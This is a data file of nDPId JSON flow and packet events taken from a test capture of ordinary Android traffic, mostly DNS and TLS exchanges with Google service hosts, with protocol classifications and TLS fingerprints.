+00470{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":920611,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"TGr2n\/YnxiwDYGpkCABFAABUFXQAAEAR38PAqAIBwKgCEAA1m1AAQNQ0uKWBgAABAAEAAAAAB2FuZHJvaWQKZ29vZ2xlYXBpcwNjb20AAAEAAcAMAAEAAQAAARcABKzZFgo="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":441,"source":"android.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":2,"flow_first_seen":1582454871881,"flow_last_seen":1582454871920,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39760,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"android.googleapis.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.22.10"}} +00520{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":923052,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0CFVAAEAGrNPAqAIQrNkVysroAbtCYUF\/oOwtEoAYAVd7bwAAAQEICv\/\/N5fvemgVFAMDAAEBFwMDADWuL6pwY2dIV5u6\/9nmZIIdexhghTCWFLHE+GEvRKQh3wPKjSSu8ku0XJIM5+nfYupn+ZOFrg=="} +00549{"flow_id":59,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":928214,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"xiwDYGpkTGr2n\/YnCABFAACKCFZAAEAGrLzAqAIQrNkVysroAbtCYUG\/oOwtEoAYAVdWOQAAAQEICv\/\/N5nvemgVFwMDAFE\/VvvW6mNzVmgxZNu1+N4cHNqClH7bFY48b+AuqXlO9Z3OTRtvnlqvsWLprVSmODGDssPWzMZd8iaoYJxU+Wl3eDbRZPkYJ1PQLnFB8uLLHkI="} +00429{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":928396,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0++4AAHUGxfes2RRMwKgCEAG7qn7jcCu6pd5\/8IAQAPBd+wAAAQEICunZkVb\/\/zeQ"} +01190{"flow_id":59,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":928840,"pkt_caplen":623,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":623,"pkt_l4_len":589,"pkt":"xiwDYGpkTGr2n\/YnCABFAAJhCFdAAEAGquTAqAIQrNkVysroAbtCYUIVoOwtEoAYAVfpvQAAAQEICv\/\/N5nvemgVFwMDATdKL3OrNZSmAwMjJqMrvJVyg855UxEWRpxGgcaoPXmTnsSLvpTYH6BLB332un5PVUkjSzbZV1bWN1J+mV7bg0NcKAGygA62ln+wLaJVHCwaX3yGNWjy3v2TS8yYi9LRox60uXte5eQLnTVuwUpGLxWsIWfouu70\/IA5kqZO1\/eOWK1NqwWY1rJtc0mrgszJ\/fW3DI5\/COHYF6qndPsnowVLEO3eg77anY8GnaKRf9QORQ3dDbnGYu95icNPQLmZgtqAmf\/gioGn9ynV6vSzS2BcLLuVyDJ25lQG2\/aJnW09dm5bTxnxXL4AU\/rFK3DRRfLM+r68LzndF1cqPIoX8htgA2aKjoCb1jz6PmfCQagVNOSGh8YIwKvHQZwoFgSOvZT3C+YfwZp\/RBvIvUet6Z5QGCA6BsBSFRcDAwDsgAu6J26MgG49fR0qdXbyXcC2691mplsJGbZdCWdJl\/aFUs42hNKFU\/LYh21U2oaL1\/mx5+oDCV9dNqbCAFcDH6qWdVrr5xVew0ZiJS9HwPruAZz2MCupLTojaFRbTOhAaLN8t8qXnCdAOhOWrUYSU2UcLQPOA4BKK1+0Hkyk1A9psGRWJvAJuP686vu7vgMDDyrjAfvpGlkZDfxRy\/oBZc4EVdcSVddlv2DoiyQ7PCFpl6c0s6wEcqMjgt3LVe7b0Lvt5sEMS628\/ZbHBFSUyvsYD\/mW+rE0ZyhejU8087WcyKKGlfhkRDcRdpY="} +02359{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":933947,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW++\/EAAHUGwGqs2RRMwKgCEAG7qn7jcCu6pd5\/8IAQAPBpQwAAAQEICunZkVz\/\/zeQFgMDAHoCAAB2AwMY5WYYbqaFaASWW6jnJVf7U9p5XrUmWmpm6Ht2OsAkJiB5nowSHXSTk06sjSwrAIShPUtbUgvH7+EkOPJ+Q5cJZBMBAAAuADMAJAAdACDAFdUrGj3bDPlmUUp8ngJrhEzu1yaWXZcraV\/aNJWbIgArAAIDBBQDAwABARcDAwtmsLRa58pzHIfJsc21G1uNReYhjZA4HvnFk\/S8IS\/ovK1Fa46AuRJbbd\/SBkQH3JOO5OLSor6xFjawkjg2pebtEvSS1MUT+bFvAB\/gwWVIJ2LaSgR1tJcDPx2dsgTw310EQdw\/pNF12k4r449An\/qDnLmVOGczrNNP49hCF5Ia+xEzx9\/c7o0YIHTfkzpVFEbWvqYmT1LAHMSWTJLTWNGncC5WaYnt8XB6qNKunKLJIJQ4m+yzyd7iECXhw4j+waJixfOcoZixpRO68SneDuGGpHNOj9Vg8bDuBusU2D22pjIvrrbkw39EGYBPiZfq4yy3NVohH9Tyk5vgBv6L9XkYdPu1lsBZNs96ieFDUuULf7ybpGBVgQIjqb9FbE9\/2VlzBqMDSNg\/NHyHI+7jQ8B32mB8p0XhdpUUb77Gczzu\/8GgROsDt5FE0XNQHUJxCLmAoQk\/r2rHmHOF2codfTtVt0qBxFsSw6kJPS1Ngkah0+0heiyqxOJd6LZrgLqnHzrw7ffXQgRtw0k5V6lZcithG8iqDzGyGhh7kHyYh8gSiDhn1\/qqrEPsinjKFCrcDy15UEguDov38fFdUR87rSynbaYHzcKcxgn6\/AUBZrFdBRuV2aC2xYoPgEy4J59XDTipNQkbNpm9\/En8SppUEjoJdp4W0urkLyMnxdE+e212xefreD8Vf07l3xo881eGFfaSwt\/9qb\/lkcJdIy9eww8EL8x\/M6ARJ7R9uvOdPlnvbMS\/gvcaxpVJxC0bB1KFizr08xT2yD3qp\/fRyB6wvVKIWZkTlptsyz6ksxLYMY9uQ8ZWbW52LwKg\/e0sbE92nCN+7Dpbzbe\/Zt9DhKNHCocQGTVEqpfY3pFDZ8NAX+cqiw5fTs2bvhuqoULfj+PY9kv+\/KOtBLs6auQiswxRpMDEUY7jLn7Y5gxsvllNC5w9z1U53PzMyCHbC6y+byTPTQu7udXi5UXTo4IfJobNukPgSf350\/mJCLefHxGSbEkpaIcCrl+DRBuUaGZdJt+XcYrfRyWimRPFrZoj70aE78wE+Bj4kRi0vL0ogx8PcW6XhEJqhEj3GTf6cAQaCK09K5rS7G7cz+EzGtvV4LD2t7axQqVOkC9ynUTWr\/sCdUm2MxmjCREWKeksrOzGH4A5ycN+STg6ikMxsmSHflIqNWPq3jMfYwSbbNGUZB7XvFpfYuRJ5WympQOKAfWJo\/hWFvIRDGLm0VmRS0hO3FQkS6rKIQAfDafXOcdhar75whYOqBeN+V+bNSeVEZGoX87rgFWqW4t+1jNFZ3gQDoLISrrgjggXAZ0yF4olD1t2FJ2gMWlP9CsJgFlwhs96Z3UcUMZ8kv5nwJkjjsD73CIdEidbBlb7tNT4ews2qnUwioO4UuBueQPR7XgYaDqVzmaACvVWecMODUNYKtV6ZgrFfbxA\/Nke18pXDb62Chp4z8MCNkzNDlZJqNmXvsIE+HSyCIo2YLxXWFAgvBvmzRtPVRXsdyRuEAlLVDpFgu8cuYVkNX+l5aASutLJWqFv1Cyo7TNYKSjMBd17QOmk\/l6MjgUtUy4H3dWGHGS9MB5mG+DFA0nUne2zuMIChziPpKOIcMJ55zNYls39klCKNBhwZxyZPaB9L7zXFkkyDehF\/57HLyrqz8G2cthrQQe7SPunALJ7hOmynS1h4UJtrV9RXfu7it3raX+HUIl\/ecgYofzt\/8w="} +00833{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":447,"source":"android.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":6,"flow_first_seen":1582454871829,"flow_last_seen":1582454871933,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43646,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"proxy.googlezip.net","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02356{"flow_id":62,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":933961,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW++\/IAAHUGwGms2RRMwKgCEAG7qn7jcDFEpd5\/8IAQAPAg7wAAAQEICunZkVz\/\/zeQin+K29WjhzqIlQsOlL9mUV3D1i8erOoQnAdFP8H1jV\/up+FHLX894E9mq7TdGVNqo8MpScCMaq0EXxPZfHAUyW+S9iaEqn5ZB6ZWSWxvpQZHbP16rteeiLf1aybO1jakVJS\/+S9iTPSvWqqoo8ZSxrRx7UkYzbAYlla8c\/Q4NkSLnNQARYa7mqnvpflkYQXYcdo8xK2h5FZ\/OyOS7cTdDFI3xIvk9Kt4IU8zLaO0B2+DHKtoi0oI0xkja3pahpAm2qGm8dAv1UFfJkfAiQHlMPgZZsptqIa4gd0SMs8R2irP8YxDfpGl3zP\/i1D4WLfSkQjKHgFqscAjiNoJJ7dtSH2bGmzHOV8zuafy9LE69CbzZ0dTWMZkPD1LC65hHdjECAqSFSy0zzoofm62wK74ty53qxd6S5wz+I\/R2V1dVrls3f+o5FdtEhxAXZ6uAgTIraMwC66ONbpIVYcRdNsvhrJ+1MI+R8DI+xwjveGMCc8103nLr9xnohlktbkgv28xfQFArBCfKboe3qM0Zbj+TpB5ub4aWXtc5sbAuk3ZmRaLEKYEAHUWkz2zIezc+pC735DOw6ppdbCXAzfzzer2FWYlizvVU57w+uErzGlpfvIPzqwl5F\/mEzyI4Y\/o7WQkIYBUnq4fAaO7HqwECM9xfoFY1PZ+FG2N9biGtBw1mKVoMjzaBY7SFGM2S+gGHpwuRtcF4mVPBMXZEtrQEO8E6crpeCe9kCThWztmaN1Y8reUBdyeJ9U+NEKWM2cdgKIXgvihRt6\/HyZZk7pSW8oXwW\/nwV74YATFzmEv2w3ZFkVY50LP7mJcRMTIXEjucaoRkhhlRNCySEvzFWMMkNNcKzcTjawZPORBlGqMMA865ebnfmz3fucJqegh+zE1nX5V4OubIN155066U8DXO2RmLgPcfc8t9YlGXVpRTSIV8Ifc+41+e22k43tDgBMWYOzeYCLuPukpLgz8+fzj+YUQzzQsEycvFlujMXPXxDQ2yJDnjNWAZ\/PWje+XjdUq14Em3LM4xOZOoURNoEVAWnfA+fHLjh44CBDnILb+i4OCWxwkrQrlzdcjSi2faHl76jBt2cS8eoMIaXbiK+0gED3yqd1\/eR33nJDSo+\/C7s\/QkEIa0Z30cO589bUkYo6jU72V+GxpmiiKRoPHpmv6Saw4qBClcz0qeoG4etjbVxpeODXNR9coAH\/6B4DgeQeYC\/2yztIx\/\/XhQSum3R2ycI\/2bZZtoXxLBmN+x236jlLzXOmYk04kKeSpyB1COCKE2KKy1WbKE5XXjiHNHI33c7hg6hy1nv52PITxMMMZDylstk9R0mum4lD8z+CW+zfUtuL2xQAXBOuoRy8bK8ZubB8V1ocIsSomtubtelDRu7h0TA2Vo2am1eYz6+RjWUxxbd45HiLMau+RJ\/mVdqEffAtgPglU7O1iUDU61vZDScU6OcTIXWJ1nLcjye\/GiRUE99yqUdgrTacPoBV4iwOa8jhoEjd1OH1vHtylW4U3TUgpA+bdsrryz4RrzT3QVn0GDxdooajdqOhIeYod2s4sieNDVK\/LgJZbjdYpfHCxLlLPc\/xanifuvHcs4DIxivgPGAQcBJVxyx7GpYqYyfSpBjmHDPww0rxYgCEH4dqWxHqJ3dutdbHCYYM3AP30GRQPUpjwTOwIgG\/YGuvlw6XagViWX3tSOYMwHzSWKzAy4HWOlB4+TtqGOw+uorekppyYjQDCGRknpCAOaaltFaTrgrimVSxA0Q2PCTMsZSRUlIPEZJgTWhokV2JGQZowfZ6aCPBBXYqz+5wIpRRyt4rdGlGZoI\/R32pRZT1Ma0+rngd1IolVcvriPTK3dBk\/6rn6yCleHc4E\/l4xp9bHHqn9Bii3NQOpz8Y4dYjm\/xs="} +00732{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":933962,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEQ+\/MAAHUGxRas2RRMwKgCEAG7qn7jcDbOpd5\/8IAYAPDC7gAAAQEICunZkVz\/\/zeQ5ZMFJGThhmhvfLrWTr\/8+p4unKTT0n0E5LUmkSu428EPzfUlIpHGEhMRzSqBTdvJEel71Rrs340eQFiAU75SSl59qD5iSohBU9XX3H3SHlycFpw+sZhAEbXtFZP6RM47+u8indZ8CvZHpJ11K7dlTsGom6Qyo1Ezyk\/CZpxwUp+ChC6fcNOGUvWnQBdWeTRa6Sju7NI1uRpMdk7clRzueQscobaxkRobNrLVctD\/uBjLfV7eIg+jPkKsfVbryg3pxeLwxDC9X6TrBCZGeCaDwkRIHnPvWw3B7eJHMg=="} +00429{"flow_id":62,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":934993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0Sm1AAEAGbHnAqAIQrNkUTKp+Abul3n\/w43AxRIAQAWJX7gAAAQEICv\/\/N5vp2ZFc"} +00430{"flow_id":62,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":935354,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0Sm5AAEAGbHjAqAIQrNkUTKp+Abul3n\/w43A2zoAQAW1SWQAAAQEICv\/\/N5vp2ZFc"} +00430{"flow_id":62,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":935460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0Sm9AAEAGbHfAqAIQrNkUTKp+Abul3n\/w43A3qoAQAW1RfQAAAQEICv\/\/N5vp2ZFc"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":458,"source":"android.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1582454871947,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.22.10","src_port":44374,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":947536,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8i1NAAEAGKc3AqAIQrNkWCq1WAbtFj7zOAAAAAKAC\/\/\/ZVgAAAgQFtAQCCAr\/\/zedAAAAAAEDAwg="} +01224{"flow_id":59,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":956059,"pkt_caplen":646,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":646,"pkt_l4_len":612,"pkt":"TGr2n\/YnxiwDYGpkCABFAAJ4oicAAHYGGv2s2RXKwKgCEAG7yuig7C0SQmFBv4AYAPA7BAAAAQEICu96aD\/\/\/zeXFwMDAgFwnz\/9zhRq4TXfEutQixO90s6NJDKzRX+t6Ws7YF9lyrfbOzWQsc2thx+Tb3wQUxf8fi+pRfAi\/8BcINWRBGqj\/QiHgcq+tb74JSa2X\/6Qp4RyDQWP1I+2T0z1lBLObAsIHL7RLLga88K5AzjuA8EBjfdsrdjU+J44oERrTrKkqH7P2FlUG\/Q3XYBdFZxIH7d++aB3J+rWChwMb5HMbJD6\/gg93RxX6yd0R4R8+GOcvOafIbAYt+Q87ACyAqy524Jn9oskdr\/4tbFrIJt3PM+K0yEtkdSEAueUmFbbwAz7FVf5y1TmElpAAHFFVh1B8KQkmZnCRalckQpS24sutmF4f7kJlocTFPRfIrC8oy+wwcbbEXHoSsB6SnDSGv46vOLxB8nexElYwc5GPHRAhhBFk9uibdCQLOaDNE5RlsTMmtrCdJ3txU2GyYMzvVutvzxTd+dJ3G5IF5pN0n\/5moaF33Lt93ZmxwWZhEcoW2o0LbL7DK5otINHZP5AQS1r4Ei2Q9PHyqlbQQ4z+J6S\/gukm\/mJ8UlOac0dJzZWKH7WRPmYx0tIPfAXY2aKxcF+cwpmxgEDPRE+03rZLzZ+CxbO2UOA1yX6zYY\/VRSdzCZIw77eZfa5RVI5hI257PJj9N8s5Ro\/4bnH8Jasr3oLP3ClFoLCoExQQJKf3a1szZWfd4AXAwMAOXMDVRsH\/SQwHn8FOeCfp9pHQZwIAw96\/Xsc67RXMq1fzCZqAy+\/C48zV9GMsRRqs7PydqSSO6LNWg=="} +00474{"flow_id":59,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":960810,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"TGr2n\/YnxiwDYGpkCABFAABToikAAHYGHSCs2RXKwKgCEAG7yuig7C9WQmFCFYAYAPA95wAAAQEICu96aET\/\/zeZFwMDABr3Fs+IhNHLfhmvUV\/iFyWjU03ElxMerhpH9g=="} +00430{"flow_id":59,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":961962,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0CFhAAEAGrRDAqAIQrNkVysroAbtCYURCoOwvdYAQAVs9AgAAAQEICv\/\/N6Hvemg\/"} +00474{"flow_id":59,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":962715,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xiwDYGpkTGr2n\/YnCABFAABTCFlAAEAGrPDAqAIQrNkVysroAbtCYURCoOwvdYAYAVvVywAAAQEICv\/\/N6Lvemg\/FwMDABrVUJrd8ZFtIlRImst6TZUwoKm90sWIsdJn5g=="} +00429{"flow_id":59,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":965809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0oi8AAHYGHTms2RXKwKgCEAG7yuig7C91QmFEQoAQAPU9ZgAAAQEICu96aEn\/\/zeZ"} +00440{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":972438,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8OOwAAHYGhjSs2RYKwKgCEAG7rVbtvX7+RY+8z6AS6yDuawAAAgQFZAQCCAq7R9gE\/\/83nQEDAwg="} +00429{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":974035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0i1RAAEAGKdTAqAIQrNkWCq1WAbtFj7zP7b1+\/4AQAVcGrAAAAQEICv\/\/N6S7R9gE"} +00430{"flow_id":62,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":986870,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SnBAAEAGbHbAqAIQrNkUTKp+Abul3n\/w43A3qoARAW1RcAAAAQEICv\/\/N6fp2ZFc"} +01127{"flow_id":65,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":14369,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5i1VAAEAGJ87AqAIQrNkWCq1WAbtFj7zP7b1+\/4AYAVeASwAAAQEICv\/\/N6+7R9gEFgMBAgABAAH8AwMkp2qM\/0db0DeLmsnG5Et9Elmp4AHL6ZUbDww1dSGLViDedzf23GKLBGTQ\/F9lciqAnLFBg\/D1SaN73F0X8icbJwAiEwETAhMDwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZEAAAAbABkAABZhbmRyb2lkLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAAAUABQEAAAAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBdVAAAAAzACYAJAAdACB+eKFCipAuqOQg5XnASQ8WeZbYj9YMN6X04Jt8S8pzfAAtAAIBAQArAAkIAwQDAwMCAwEAFQDxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":480,"source":"android.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":4,"flow_first_seen":1582454871947,"flow_last_seen":1582454872014,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.22.10","src_port":44374,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.googleapis.com","ja3":"629b587f706aee60430ec3879c6edb66","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01124{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454872,"pkt_ts_usec":15952,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5Fo1AAEAGnlbAqAIQrNkUSs0iAbsOnCHi4lFSVIAYAVerwAAAAQEICv\/\/N68TCsRqFgMBAgABAAH8AwNz1LPSLb66vIVVbsJEbO8rYoUzZ7GYYLjTyvNVKkYlfSDBTSmXKzrioGGWwSCGVWAYIYzoWG\/0EeuQQ9g0J6ik9QAiEwETAhMDwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZEAAAAnACUAACJzZW1hbnRpY2xvY2F0aW9uLXBhLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACAAGAB0AFwAYAAsAAgEAABAABQADAmgyAAUABQEAAAAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBADMAJgAkAB0AIMPUFJ0SGA7J26IrfYJXpc5MBLMHrRFiHqhzJJp5bVBqAC0AAgEBACsACQgDBAMDAwIDAQAVAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 